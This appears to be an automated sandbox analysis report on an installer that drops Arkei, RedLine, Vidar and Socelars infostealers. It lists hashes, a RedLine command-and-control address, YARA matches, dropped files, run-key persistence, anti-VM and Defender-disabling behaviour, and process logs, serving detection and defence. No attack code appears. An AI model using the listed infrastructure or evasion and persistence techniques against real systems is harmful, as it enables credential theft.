arkei | b52242da50ea2b3a05f6787dfa7197a0c99442e91d3bc78b71363c2ff3c4f072

Resubmissions

08-10-2021 15:07

211008-shl8xsefa9 10

08-10-2021 05:38

211008-gbvqyadce8 10

07-10-2021 18:28

211007-w4jayacge3 10

Analysis

max time kernel
104s
max time network
1742s
platform
windows11_x64
resource
win11
submitted
08-10-2021 15:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup_x86_x64_install.exe
Size

5.9MB
MD5

0308d3044eda0db671c58c2a97cb3c10
SHA1

1737ab616a61d35b0bde0aaad949d9894e14be9e
SHA256

b52242da50ea2b3a05f6787dfa7197a0c99442e91d3bc78b71363c2ff3c4f072
SHA512

29902fe4a53319290d18b65a6baa1d747f1389a84cd7eb1a123d05b418b737336cd54c84b76403bc2cbb1f078c19b4461a89eec8214bfcdcf4831bb1dbda0e3e

Score

10^/10

arkei redline socelars vidar media214 aspackv2 discovery evasion infostealer persistence spyware stealer themida trojan

Malware Config

Extracted

Family

redline

Botnet

media214

91.121.67.60:2151

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5352	4908	rundll32.exe	28

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

resource	yara_rule
behavioral4/memory/1944-291-0x0000000000000000-mapping.dmp	family_redline
behavioral4/memory/1944-292-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral4/files/0x000500000001fcd4-193.dat	family_socelars
behavioral4/files/0x000500000001fcd4-234.dat	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 6 IoCs

description	pid	Process	procid_target
PID 1564 created 4816	1564	WerFault.exe	115
PID 592 created 2516	592	WerFault.exe	105
PID 2280 created 3276	2280	WerFault.exe	116
PID 4788 created 4548	4788	WerFault.exe	113
PID 5560 created 5376	5560	WerFault.exe	136
PID 5320 created 2348	5320	WerFault.exe	159

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Arkei Stealer Payload 1 IoCs

stealer

resource	yara_rule
behavioral4/memory/6004-438-0x0000000000400000-0x0000000004A15000-memory.dmp	family_arkei

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral4/memory/3276-282-0x0000000004C20000-0x0000000004CF6000-memory.dmp	family_vidar

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x000300000001eb84-159.dat	aspack_v212_v242
behavioral4/files/0x000300000001eb83-161.dat	aspack_v212_v242
behavioral4/files/0x000300000001eb83-166.dat	aspack_v212_v242
behavioral4/files/0x000200000001ef17-167.dat	aspack_v212_v242
behavioral4/files/0x000300000001eb83-165.dat	aspack_v212_v242
behavioral4/files/0x000200000001ef17-164.dat	aspack_v212_v242
behavioral4/files/0x000300000001eb84-160.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 51 IoCs

pid	Process
1184	setup_installer.exe
2380	setup_install.exe
2516	Thu16205451b994.exe
3112	Thu166f9a8bbe80.exe
5072	Thu161580bf75.exe
3948	Thu16f3de88a335950bb.exe
2944	Thu16f584bd3686.exe
1920	Thu1653d94a8da.exe
5016	Thu164ba03be19.exe
3276	Thu1628aafb3efd7c3d.exe
4816	Thu16466b26f8b7.exe
4548	Thu165bd34b1e1d4d81.exe
4544	Thu167d514d2a7ac5a.exe
4580	Thu16f3de88a335950bb.tmp
1556	Thu16f3de88a335950bb.exe
4540	Thu16f3de88a335950bb.tmp
3584	09xU.exE
3012	CTqxJvmkZWJ2hSOaCWXQYm0F.exe
1944	Thu164ba03be19.exe
5396	7231721.scr
5484	6647442.scr
5656	6036748.scr
5992	yQTciQ6mzkKqUfVaQ7PT65g4.exe
6004	oMfUtIrKOohZfNXsczbdLhWB.exe
6016	iXQYAVs6MRuQ70gZkJxgUQD0.exe
6040	postback.exe
2348	nDem2Jj4S0zSItlPpl20peBR.exe
4520	aVL0zwShl8SDM1Nhz4DDXwuK.exe
5160	_tPSqRpRyrQiGtNHdV8ZKH2_.exe
5188	KY178SxWqF7xJkZmPeytWy0D.exe
5176	Xq3lxPgxhf9lRFGn1DpnsgGn.exe
680	FarLabUninstaller.exe
5212	UkcKlVZQaU1T_Tk9fg4DF8Ki.exe
5192	IZhhQdf_ACsnY6fHlUQZ46_g.exe
5016	tKVL2GRlhB4ATa0L_pLwGWwS.exe
5308	fOQQaX1MpyY3WzsCPUPgeZgi.exe
2272	XbzmnUPhLrMtgqN8uKCWL4Vr.exe
4840	xU4QVhhGGYDpDzhnPmCPdFLD.exe
3380	D6eI4LPczor41omES2LAPc49.exe
5128	IXWADmXTn7yzfCjqQJR3tQtJ.exe
5368	NDP472-KB4054531-Web.exe
2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
2096	kmFxwYZ2_riHTMNxvwhtahYb.exe
2256	y7eBlbaWBu4kU7qKHtScbK5T.exe
5460	cm3.exe
4064	inst002.exe
5420	DownFlSetup999.exe
5220	6686198.scr
2936	Setup.exe
4536	3990905.scr
2160	aDLsKHQL9R.exE

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6036748.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tKVL2GRlhB4ATa0L_pLwGWwS.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	XbzmnUPhLrMtgqN8uKCWL4Vr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	fOQQaX1MpyY3WzsCPUPgeZgi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	fOQQaX1MpyY3WzsCPUPgeZgi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6036748.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tKVL2GRlhB4ATa0L_pLwGWwS.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	xU4QVhhGGYDpDzhnPmCPdFLD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	xU4QVhhGGYDpDzhnPmCPdFLD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	XbzmnUPhLrMtgqN8uKCWL4Vr.exe

Loads dropped DLL 13 IoCs

pid	Process
2380	setup_install.exe
2380	setup_install.exe
2380	setup_install.exe
2380	setup_install.exe
2380	setup_install.exe
2380	setup_install.exe
2380	setup_install.exe
2380	setup_install.exe
4580	Thu16f3de88a335950bb.tmp
4540	Thu16f3de88a335950bb.tmp
5376	rundll32.exe
2936	Setup.exe
2936	Setup.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x000300000001e5e9-323.dat	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	6647442.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 7 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6686198.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6036748.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XbzmnUPhLrMtgqN8uKCWL4Vr.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tKVL2GRlhB4ATa0L_pLwGWwS.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	xU4QVhhGGYDpDzhnPmCPdFLD.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fOQQaX1MpyY3WzsCPUPgeZgi.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IXWADmXTn7yzfCjqQJR3tQtJ.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com
2	ipinfo.io
41	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
5656	6036748.scr
5016	tKVL2GRlhB4ATa0L_pLwGWwS.exe
4840	xU4QVhhGGYDpDzhnPmCPdFLD.exe
5308	fOQQaX1MpyY3WzsCPUPgeZgi.exe
5128	IXWADmXTn7yzfCjqQJR3tQtJ.exe
2272	XbzmnUPhLrMtgqN8uKCWL4Vr.exe
5220	6686198.scr

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5016 set thread context of 1944	5016	tKVL2GRlhB4ATa0L_pLwGWwS.exe	124

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe	Thu16f3de88a335950bb.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-FLK28.tmp	Thu16f3de88a335950bb.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-G0H9C.tmp	Thu16f3de88a335950bb.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Thu16f3de88a335950bb.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	yQTciQ6mzkKqUfVaQ7PT65g4.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe	yQTciQ6mzkKqUfVaQ7PT65g4.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	yQTciQ6mzkKqUfVaQ7PT65g4.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe	Thu16f3de88a335950bb.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Thu16f3de88a335950bb.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-B7EAK.tmp	Thu16f3de88a335950bb.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-IJELO.tmp	Thu16f3de88a335950bb.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst002.exe	yQTciQ6mzkKqUfVaQ7PT65g4.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	yQTciQ6mzkKqUfVaQ7PT65g4.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\Tasks\SA.DAT	svchost.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
5468	4548	WerFault.exe	113
5440	3276	WerFault.exe	116
5432	2516	WerFault.exe	105
5412	4816	WerFault.exe	115
4860	2348	WerFault.exe	159

Checks processor information in registry 2 TTPs 37 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe

Enumerates system info in registry 2 TTPs 10 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
1332	taskkill.exe
1092	taskkill.exe

Modifies data under HKEY_USERS 59 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "73"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2928	powershell.exe
2928	powershell.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3112	Thu166f9a8bbe80.exe
3012	CTqxJvmkZWJ2hSOaCWXQYm0F.exe
3012	CTqxJvmkZWJ2hSOaCWXQYm0F.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSystemtimePrivilege	4596	svchost.exe
Token: SeSystemtimePrivilege	4596	svchost.exe
Token: SeIncBasePriorityPrivilege	4596	svchost.exe
Token: SeShutdownPrivilege	860	svchost.exe
Token: SeCreatePagefilePrivilege	860	svchost.exe
Token: SeShutdownPrivilege	860	svchost.exe
Token: SeCreatePagefilePrivilege	860	svchost.exe
Token: SeShutdownPrivilege	860	svchost.exe
